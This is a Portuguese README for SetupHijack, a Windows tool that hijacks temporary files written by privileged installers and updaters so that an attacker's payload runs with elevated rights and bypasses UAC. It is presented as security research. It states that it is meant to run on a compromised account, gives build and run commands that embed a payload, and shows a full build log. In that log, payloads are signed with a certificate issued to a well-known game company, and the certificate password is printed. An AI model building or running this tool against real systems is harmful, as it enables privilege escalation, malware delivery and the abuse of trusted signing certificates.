
SetupHijack é uma ferramenta de pesquisa em segurança que explora condições de corrida e manipulação insegura de arquivos em processos de instalação e atualização de aplicativos Windows.
SetupHijack é uma ferramenta de pesquisa de segurança que explora condições de corrida e manipulação insegura de arquivos em processos de instalação e atualização do Windows. Ela visa cenários em que instaladores ou atualizadores privilegiados gravam arquivos em %TEMP% ou em outros locais graváveis por qualquer usuário, permitindo que um atacante substitua esses arquivos antes que sejam executados com privilégios elevados.
.exe, .msi e arquivos de lote (ex.: sysinfo, netstat, ipconfig).O uso pretendido desta ferramenta é ser executada em segundo plano em uma conta de usuário comprometida com privilégios, a fim de elevar outro processo ao sequestrar arquivos temporários deixados por instaladores/atualizadores.
O gráfico abaixo mostra exemplos reais de casos de uso dessa exploração em múltiplos cenários que podem ser utilizados para bypass de UAC. Bypasses de UAC são considerados um limite de segurança quando executados em modo Adminless e são um "requisito comum de atacantes" para desabilitar controles de segurança. A exploração de operações privilegiadas de Administrador fornece acessibilidade genérica de exploração para que código malicioso faça side-load ou eleve privilégios de processo. Esta ferramenta pode ser usada para identificar aplicações adicionais expostas aos mesmos tipos de risco; um atacante pode aguardar a execução desses processos como meio de obter direitos elevados sem interromper o comportamento dos usuários.

%TEMP% (e subdiretórios) em busca de arquivos de instalação novos ou modificados..bak.Este projeto usa um processo de assinatura de código modificado com SignToolEx.exe e SignToolExHook.dll para assinar payloads e instaladores. Usar certificados de assinatura de código válidos e um carimbo de tempo Authenticode aumentará sua taxa de sucesso ao contornar verificações de confiança do instalador e do SO.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### Executar (Opções)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp, -noappdata ou -nodownloads.clean restaura os backups em todos os locais habilitados. O sinalizador verbose registra todas as ações.shadow.exe ou ferramentas similares nos Serviços de Terminal.
%TEMP% e executá-los com direitos elevados, seu payload será substituído e executado.Abaixo está um exemplo real de construção e execução do SetupHijack, incluindo assinatura de código e saída de infecção:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0